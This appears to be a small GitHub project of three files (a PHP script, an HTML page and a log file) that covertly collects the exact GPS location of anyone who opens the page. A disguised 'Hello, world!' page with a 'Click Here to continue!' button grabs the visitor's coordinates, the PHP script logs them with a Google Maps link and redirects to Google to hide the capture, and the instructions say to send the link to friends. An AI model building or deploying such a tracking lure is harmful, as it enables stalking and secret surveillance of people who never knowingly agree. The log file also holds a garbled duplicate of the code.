TheBinitGhimire/forward.php

## forward.php
<?php

/*
	Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!
	Author: Binit Ghimire
	GitHub Profile: https://github.com/TheBinitGhimire
	Author URL: https://WHOISbinit.me/
	_________________
	|| How to Use? ||
	‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
	- Host "index.html", "forward.php", and "info.txt" in your web server!
	- Send the URL to your website to your friends!

	Thank You!
*/

function validateGeolocation($x, $y){
	if(!(is_float($x) && is_float($y))) return false;
	else return preg_match('/^[-]?(([0-8]?[0-9])\.(\d+))|(90(\.0+)?),[-]?((((1[0-7][0-9])|([0-9]?[0-9]))\.(\d+))|180(\.0+)?)$/', $x.','.$y);
}

$valid = false;
// Checking if the Geolocation is properly sent or not!
if(isset($_GET['x']) && isset($_GET['y'])){
	// Ensuring the provided Geolocation values are float values!
	$latitude = floatval($_GET['x']);
	$longitude = floatval($_GET['y']);

	// Validating whether the Latitude and Longitude are in proper format or not!
	if(validateGeolocation($latitude, $latitude)){
		$valid = true;
		// Crafting a Google Maps URL with the valid Latitude and Longitude!
		$maps = "http://maps.google.com/maps?q=$latitude,$longitude";

		// Writing (actually appending) the Geolocation Information into a text file named "info.txt"!
		$locationFile = fopen("info.txt", "a") or die("Unable to open file!");
		$info = "Latitude: ".$latitude."\nLongitude: ".$longitude."\nMaps: ".$maps."\n\n";
		fwrite($locationFile, $info);
		fclose($locationFile);
	}
}

// Redirecting to Google if all criteria is satisfied!
if($valid){
	header('Location: https://www.google.com/');
} else{
	// Redirecting to the HomePage if the Geolocation isn't properly sent!
	header('Location: index.html');
}

?>

## index.html
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Hello, world!</title>
    <meta name="description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" />
	<meta name="author" content="Binit Ghimire" />
	<meta name="keywords" content="HTML5, Geolocation, GPS, Location, Get Location, Grab Location" />

	<!-- Open Graph Meta Tags in case you want to share the URL of your webpage on Facebook! -->
    <meta property="og:title" content="Hello, world!" />
    <meta property="og:type" content="website" />
    <meta property="og:site_name" content="Hello, world!" />
    <meta property="og:locale" content="en_US" />
    <meta property="og:description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" />
	<meta property='article:author' content='https://www.facebook.com/InternetHeroBINIT' />

    <link rel="icon" type="image/png" sizes="32x32" href="https://cdn.iconscout.com/icon/free/png-32/location-62-93995.png" />
	<meta name="theme-color" content="#ff0000" />

	<style>
		/* Centering everything horizontally and vertically! */
		html, body{
			height:100%;
		}

		html{
			display:table;
			margin:auto;
		}

		body{
			display:table-cell;
			vertical-align:middle;
			text-align:center;
			color:#fc3d7d;
		}
	</style>
</head>
<body>

<h3>How's it going on!?</h3>

<hr color="red" size=1>
<button onclick="getLocation()">Click Here to continue!</button>
<hr color="red" size=1>

<p id="errorMessage"></p>

<script>
let message = document.getElementById("errorMessage");

function getLocation(){
	if(navigator.geolocation){
		navigator.geolocation.getCurrentPosition(sendLocation);
	} else{
		message.innerHTML = "<em>Your browser is unsupported.</em>";
	}
}

function sendLocation(geoLocation) {
	window.location = "forward.php?x="+geoLocation.coords.latitude+"&y="+geoLocation.coords.longitude;
}
</script>

</body>
</html>

## info.txt
_____________________________
|| Geolocation Information ||
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
	<?php

	/*
	Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!
	Author: Binit Ghimire
	GitHub Profile: https://github.com/TheBinitGhimire
	Author URL: https://WHOISbinit.me/
	_________________
	\|\| How to Use? \|\|
	‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
	- Host "index.html", "forward.php", and "info.txt" in your web server!
	- Send the URL to your website to your friends!

	Thank You!
	*/

	function validateGeolocation($x, $y){
	if(!(is_float($x) && is_float($y))) return false;
	else return preg_match('/^[-]?(([0-8]?[0-9])\.(\d+))\|(90(\.0+)?),[-]?((((1[0-7][0-9])\|([0-9]?[0-9]))\.(\d+))\|180(\.0+)?)$/', $x.','.$y);
	}

	$valid = false;
	// Checking if the Geolocation is properly sent or not!
	if(isset($_GET['x']) && isset($_GET['y'])){
	// Ensuring the provided Geolocation values are float values!
	$latitude = floatval($_GET['x']);
	$longitude = floatval($_GET['y']);

	// Validating whether the Latitude and Longitude are in proper format or not!
	if(validateGeolocation($latitude, $latitude)){
	$valid = true;
	// Crafting a Google Maps URL with the valid Latitude and Longitude!
	$maps = "http://maps.google.com/maps?q=$latitude,$longitude";

	// Writing (actually appending) the Geolocation Information into a text file named "info.txt"!
	$locationFile = fopen("info.txt", "a") or die("Unable to open file!");
	$info = "Latitude: ".$latitude."\nLongitude: ".$longitude."\nMaps: ".$maps."\n\n";
	fwrite($locationFile, $info);
	fclose($locationFile);
	}
	}

	// Redirecting to Google if all criteria is satisfied!
	if($valid){
	header('Location: https://www.google.com/');
	} else{
	// Redirecting to the HomePage if the Geolocation isn't properly sent!
	header('Location: index.html');
	}

	?>
	<!DOCTYPE html>
	<html>
	<head>
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
	<title>Hello, world!</title>
	<meta name="description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" />
	<meta name="author" content="Binit Ghimire" />
	<meta name="keywords" content="HTML5, Geolocation, GPS, Location, Get Location, Grab Location" />

	<!-- Open Graph Meta Tags in case you want to share the URL of your webpage on Facebook! -->
	<meta property="og:title" content="Hello, world!" />
	<meta property="og:type" content="website" />
	<meta property="og:site_name" content="Hello, world!" />
	<meta property="og:locale" content="en_US" />
	<meta property="og:description" content="Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP!" />
	<meta property='article:author' content='https://www.facebook.com/InternetHeroBINIT' />

	<link rel="icon" type="image/png" sizes="32x32" href="https://cdn.iconscout.com/icon/free/png-32/location-62-93995.png" />
	<meta name="theme-color" content="#ff0000" />

	<style>
	/* Centering everything horizontally and vertically! */
	html, body{
	height:100%;
	}

	html{
	display:table;
	margin:auto;
	}

	body{
	display:table-cell;
	vertical-align:middle;
	text-align:center;
	color:#fc3d7d;
	}
	</style>
	</head>
	<body>

	<h3>How's it going on!?</h3>

	<hr color="red" size=1>
	<button onclick="getLocation()">Click Here to continue!</button>
	<hr color="red" size=1>

	<p id="errorMessage"></p>

	<script>
	let message = document.getElementById("errorMessage");

	function getLocation(){
	if(navigator.geolocation){
	navigator.geolocation.getCurrentPosition(sendLocation);
	} else{
	message.innerHTML = "<em>Your browser is unsupported.</em>";
	}
	}

	function sendLocation(geoLocation) {
	window.location = "forward.php?x="+geoLocation.coords.latitude+"&y="+geoLocation.coords.longitude;
	}
	</script>

	</body>
	</html>
	_____________________________
	\|\| Geolocation Information \|\|
	‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾